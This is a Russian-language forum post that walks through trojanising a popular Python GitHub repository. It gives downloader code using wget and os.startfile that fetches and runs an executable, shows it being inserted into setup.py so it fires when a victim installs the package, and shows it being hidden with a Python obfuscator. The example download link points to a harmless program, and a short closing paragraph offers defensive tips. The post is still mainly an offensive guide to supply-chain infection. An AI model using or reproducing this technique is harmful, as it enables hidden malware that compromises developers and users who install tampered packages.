- Регистрация
- 14.06.2024
- Сообщения
- 136
- Реакции
- 17
- Telegram
- xoscodes
- Тема Автор
- #1
Для этого нам понадобятся:
- Любой репозиторий из github, главное, чтобы код был написан на пайтоне.
- Код загрузчика (будет дальше).
- Обфускатор, для скрытия нашего вредоносного кода.
- Python версии 3.6 (не ниже).
- Обфускатор для пайтона.
Примеры из новостных порталов, когда на гитхабе уже находили вирусы:
Злоумышленники внедрили вирус в установщик последней версии клиента Syscoin Core 3.0.4.1 для Windows. Пользователи, которые скачали на GitHub этот файл с 9 по 13 июня, могут оказаться жертвами вирусных атак. Об этом сообщили создатели Syscoin.Команда Syscoin получила сообщения от пользователей, которые заявили, что антивирусные программы срабатывают на установочный файл с предупреждением о «неизвестном источнике».
Позже компания обнаружила «неподписанную копию» файла Windows Syscoin, в которую внесли вредоносный код, а затем загрузили на официальную страницу криптовалюты на Github. Как выяснилось, для этого злоумышленники взломали аккаунт одного из разработчиков Syscoin.
- Принцип работы нашего скрипта.
Шаг 1. Репозиторий.
Первым делом идём на Github, переходим во вкладку популярныеИ ищем интересный репозиторий, я к примеру взял PySnooper
Скачиваем, распаковываем, теперь анализируем файлы. Ищем любые файлы с расширением .py
Список файлов с репозитория который скачал я:
Сразу можно заметить файл setup.py, который отвечает за установку инструмента PySnooper.
Шаг 2. Добавляем вредоносный код.
Открываем setup.py (в моём случае)Добавляем код загрузчика. Создадим отдельный .py файл для удобства и добавляем следующий код.
Импортируем нужные библиотеки:
Код:
import os, wget
Создаём три переменные: file - с именем файла, link - с прямой ссылкой на наш вирус, я для примера использую программу putty (она не является вирусом, взял для примера) и переменную Load - которая загружает наш файл при помощи библиотеки wget
Код:
file = '@deepside.exe' # Имя файла
link = 'https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe' # прямая ссылка на файл
Load = wget.download(link,file)
Теперь запускаем наш файл:
Код:
os.startfile(Load)
Запустив скрипт мы скачаем putty и запустим его (файл сохраняется рядом со скриптом):
Сейчас добавляем вредоносный код в setup.py:
Теперь, когда потенциальная жертва запустит файл setup.py, он сначала скачает и запустит наш файл, а затем выполнит свой код:
Шаг 3. Обфусцируем и скрываем вредосный код.
Думаю, всё таки некоторые пользователи будут заглядывать в код, и заметят присутствие лишнего функционала, поэтому наш код мы обфусцируем.Для обфускация кода на пайтоне я буду использовать инструмент pyobfuscate
Предварительно закидываем код загрузчика в папку с обфускатором .
Теперь простой командой в cmd, обфусцируем код :
Код:
pyobfuscate.py filename.py
Копируем код из консоли и сохраняем в отдельном файле. Для сравнения, чистый код и защищённый:
Методы защиты.
Для начала нужно проанализировать код. Просто попробуй найти "лишние" ссылки, и если такая найдётся, советую воздержатся от запуска скрипта или как вариант попробовать вырезать вредоносный код. Ещё важным фактом будет запуск скриптов из неизвестных источников на виртуальной машине. Думаю гораздо проще настроить виртуалку, чем быть заражённым непонятно чем.Заключение.
Сегодня мы написали свой мини лоадер на Python. Научились заражать чужой код своим. А также защищать и скрывать его от лишних глаз.Думаю теперь, когда ты прочитал эту статью, ты будешь проверять, что скачиваешь.